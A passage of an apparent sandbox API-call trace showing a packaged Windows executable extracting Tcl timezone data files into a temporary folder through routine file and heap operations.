[0038.916] SetLastError (dwErrCode=0x2) [0038.916] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Knox") returned 77 [0038.916] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.916] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Knox" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\indiana\\knox"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.916] GetFileType (hFile=0x10c) returned 0x1 [0038.916] htonl (hostlong=0x16210000) returned 0x2116 [0038.916] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0038.919] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.919] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x116, lpOverlapped=0x0) returned 1 [0038.919] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.919] CloseHandle (hObject=0x10c) returned 1 [0038.920] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.920] htonl (hostlong=0x40000000) returned 0x40 [0038.920] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.921] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.921] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.921] GetFileType (hFile=0x10c) returned 0x1 [0038.921] htonl (hostlong=0xf0385900) returned 0x5938f0 [0038.921] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5de8f0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.921] htonl (hostlong=0x93050000) returned 0x593 [0038.921] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x593) returned 0x550600 [0038.921] htonl (hostlong=0x93050000) returned 0x593 [0038.921] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.922] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.922] htonl (hostlong=0x7d1b0000) returned 0x1b7d [0038.922] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1b7d) returned 0x561090 [0038.922] htonl (hostlong=0x93050000) returned 0x593 [0038.922] htonl (hostlong=0x7d1b0000) returned 0x1b7d [0038.922] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562c18 [0038.922] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562c18 | out: hHeap=0x530000) returned 1 [0038.922] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.922] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.922] CloseHandle (hObject=0x10c) returned 1 [0038.922] GetLastError () returned 0x0 [0038.922] SetLastError (dwErrCode=0x0) [0038.922] GetLastError () returned 0x0 [0038.922] SetLastError (dwErrCode=0x0) [0038.922] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.922] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.922] GetFileType (hFile=0x10c) returned 0x1 [0038.922] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.922] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.922] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.922] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.923] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.923] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.923] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.923] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.923] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.923] CloseHandle (hObject=0x10c) returned 1 [0038.923] GetLastError () returned 0x0 [0038.923] SetLastError (dwErrCode=0x0) [0038.923] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.923] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.923] GetFileType (hFile=0x10c) returned 0x1 [0038.923] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.923] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.923] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.923] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.924] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.924] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.924] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.924] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.924] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.924] CloseHandle (hObject=0x10c) returned 1 [0038.924] GetLastError () returned 0x0 [0038.924] SetLastError (dwErrCode=0x0) [0038.924] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.924] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.924] GetFileType (hFile=0x10c) returned 0x1 [0038.924] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.924] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.924] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.924] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.924] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.924] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.924] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.924] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.924] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.924] CloseHandle (hObject=0x10c) returned 1 [0038.924] GetLastError () returned 0x0 [0038.925] SetLastError (dwErrCode=0x0) [0038.925] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana") returned 72 [0038.925] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\indiana"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.925] GetFileType (hFile=0x10c) returned 0x1 [0038.925] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.925] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.925] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.925] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.925] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.925] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.925] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.925] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.925] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.925] CloseHandle (hObject=0x10c) returned 1 [0038.925] GetLastError () returned 0x0 [0038.925] SetLastError (dwErrCode=0x0) [0038.925] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Marengo") returned 80 [0038.925] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Marengo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\indiana\\marengo"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.925] GetLastError () returned 0x2 [0038.925] SetLastError (dwErrCode=0x2) [0038.925] GetLastError () returned 0x2 [0038.925] SetLastError (dwErrCode=0x2) [0038.925] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Marengo", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Marengo", lpFilePart=0x0) returned 0x4f [0038.925] GetLastError () returned 0x2 [0038.925] SetLastError (dwErrCode=0x2) [0038.925] GetLastError () returned 0x2 [0038.926] SetLastError (dwErrCode=0x2) [0038.926] GetLastError () returned 0x2 [0038.926] SetLastError (dwErrCode=0x2) [0038.926] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Marengo") returned 80 [0038.926] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.926] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Marengo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\indiana\\marengo"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.926] GetFileType (hFile=0x10c) returned 0x1 [0038.926] htonl (hostlong=0x7d1b0000) returned 0x1b7d [0038.926] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0038.927] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.927] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb7d, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb7d, lpOverlapped=0x0) returned 1 [0038.928] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.928] CloseHandle (hObject=0x10c) returned 1 [0038.928] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.928] htonl (hostlong=0x40000000) returned 0x40 [0038.928] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.928] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.928] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.929] GetFileType (hFile=0x10c) returned 0x1 [0038.929] htonl (hostlong=0x833e5900) returned 0x593e83 [0038.929] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5dee83, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.929] htonl (hostlong=0xd4050000) returned 0x5d4 [0038.929] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5d4) returned 0x550600 [0038.929] htonl (hostlong=0xd4050000) returned 0x5d4 [0038.929] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.929] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.929] htonl (hostlong=0xc41c0000) returned 0x1cc4 [0038.929] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1cc4) returned 0x561090 [0038.929] htonl (hostlong=0xd4050000) returned 0x5d4 [0038.929] htonl (hostlong=0xc41c0000) returned 0x1cc4 [0038.929] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562d60 [0038.929] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562d60 | out: hHeap=0x530000) returned 1 [0038.929] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.929] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.929] CloseHandle (hObject=0x10c) returned 1 [0038.929] GetLastError () returned 0x0 [0038.929] SetLastError (dwErrCode=0x0) [0038.929] GetLastError () returned 0x0 [0038.929] SetLastError (dwErrCode=0x0) [0038.929] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.929] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.929] GetFileType (hFile=0x10c) returned 0x1 [0038.930] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.930] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.930] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.930] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.930] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.930] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.930] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.930] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.930] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.930] CloseHandle (hObject=0x10c) returned 1 [0038.930] GetLastError () returned 0x0 [0038.930] SetLastError (dwErrCode=0x0) [0038.930] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.930] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.930] GetFileType (hFile=0x10c) returned 0x1 [0038.930] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.930] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.930] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.930] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.930] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.930] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.930] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.930] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.930] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.930] CloseHandle (hObject=0x10c) returned 1 [0038.931] GetLastError () returned 0x0 [0038.931] SetLastError (dwErrCode=0x0) [0038.931] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.931] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.931] GetFileType (hFile=0x10c) returned 0x1 [0038.931] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.931] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.931] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.931] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.931] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.931] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.931] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.931] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.931] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.931] CloseHandle (hObject=0x10c) returned 